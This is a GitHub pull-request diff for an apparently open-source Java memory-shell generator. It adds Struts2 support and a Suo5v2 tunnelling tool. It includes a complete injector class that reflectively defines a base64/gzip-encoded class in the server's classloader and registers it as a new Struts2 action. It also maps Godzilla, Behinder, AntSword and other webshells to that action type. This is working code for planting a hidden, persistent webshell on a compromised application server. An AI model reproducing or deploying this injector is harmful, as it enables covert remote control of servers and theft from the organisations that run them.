Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .github/workflows/memshell-integration-test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,8 @@ jobs:
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/probe-integration-test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -42,8 +42,8 @@ jobs:
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
Expand Down
Binary file added asserts/suo5/suo5v2-darwin-arm64
Binary file not shown.
Binary file added asserts/suo5/suo5v2-linux-amd64
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -55,7 +55,7 @@ public ShellToolConfig parseShellToolConfig() {
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build();
case Suo5 -> Suo5Config.builder()
case Suo5, Suo5v2 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
Expand Down
2 changes: 1 addition & 1 deletion build.gradle.kts
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ idea {
}
}

version = "2.3.0"
version = "2.4.0-SNAPSHOT"

tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
Expand Down
1 change: 1 addition & 0 deletions generator/src/main/java/com/reajason/javaweb/Server.java
Original file line number Diff line number Diff line change
Expand Up @@ -20,4 +20,5 @@ public class Server {
public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2";
}
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;

import java.util.Collections;
import java.util.List;
Expand Down Expand Up @@ -44,6 +45,7 @@ public class ServerFactory {
register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new);

addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
Expand Down Expand Up @@ -76,6 +78,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruct2Action.class)
.build());

addToolMapping(ShellTool.Behinder, ToolMapping.builder()
Expand All @@ -100,6 +103,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.addShellClass(ACTION, BehinderStruct2Action.class)
.build());

addToolMapping(ShellTool.AntSword, ToolMapping.builder()
Expand All @@ -117,6 +121,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.addShellClass(ACTION, AntSwordStruct2Action.class)
.build());

addToolMapping(ShellTool.Command, ToolMapping.builder()
Expand Down Expand Up @@ -151,6 +156,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class)
.build());

addToolMapping(ShellTool.Suo5, ToolMapping.builder()
Expand All @@ -176,6 +182,33 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.addShellClass(ACTION, Suo5Struct2Action.class)
.build());

addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
.addShellClass(SERVLET, Suo5v2Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
.addShellClass(FILTER, Suo5v2Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
.addShellClass(LISTENER, Suo5v2Listener.class)
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
.addShellClass(VALVE, Suo5v2Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
.addShellClass(PROXY_VALVE, Suo5v2.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
.addShellClass(ACTION, Suo5v2Struct2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build());

addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
Expand All @@ -200,6 +233,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
.build());
}

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ public class ShellTool {
public static final String Behinder = "Behinder";
public static final String Command = "Command";
public static final String Suo5 = "Suo5";
public static final String Suo5v2 = "Suo5v2";
public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg";
public static final String Custom = "Custom";
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@ public class ShellToolFactory {
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -46,4 +46,6 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket";
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";

public static final String ACTION = "Action";
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,230 @@
package com.reajason.javaweb.memshell.injector.struct2;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;

/**
* @author ReaJason
* @since 2025/12/8
*/
public class Struct2ActionInjector {

private static String msg = "";
private static boolean ok = false;

public String getUrlPattern() {
return "{{urlPattern}}";
}

public String getClassName() {
return "{{className}}";
}

public String getBase64String() throws IOException {
return "{{base64Str}}";
}

public Struct2ActionInjector() {
if (ok) {
return;
}
Object context = null;
try {
context = getContext();
} catch (Throwable e) {
msg += "context error: " + getErrorMessage(e);
}
if (context == null) {
msg += "context not found";
} else {
try {
Object shell = getShell(context);
inject(context, shell);
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
ok = true;
System.out.println(msg);
}

public Object getContext() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
ClassLoader contextClassLoader = thread.getContextClassLoader();
if (contextClassLoader != null) {
try {
Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
Object context = clazz.getMethod("getContext").invoke(null);
if (context != null) {
return context;
}
} catch (ClassNotFoundException e) {
continue;
}
}
}
return null;
}

private void inject(Object context, Object shell) throws Exception {
Object actionInvocation = invokeMethod(context, "getActionInvocation");
Object actionProxy = getFieldValue(actionInvocation, "proxy");
Object configuration = getFieldValue(actionProxy, "configuration");
Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
String namespace = entry.getKey();
Map<String, Object> configs = entry.getValue();
if (!configs.isEmpty()) {
Object firstActionConfig = configs.entrySet().iterator().next().getValue();
String actionName = getUrlPattern().substring(1);
if (configs.containsKey(actionName)) {
continue;
}
String packageName = (String) getFieldValue(firstActionConfig, "packageName");
Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
actionConfigConstructor.setAccessible(true);
Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
configs.put(actionName, actionConfig);
msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
}
}
}

private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}

@Override
public String toString() {
return msg;
}

@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}

@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}

@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}

@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;

try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}

@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {

}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}


@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}

@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
Loading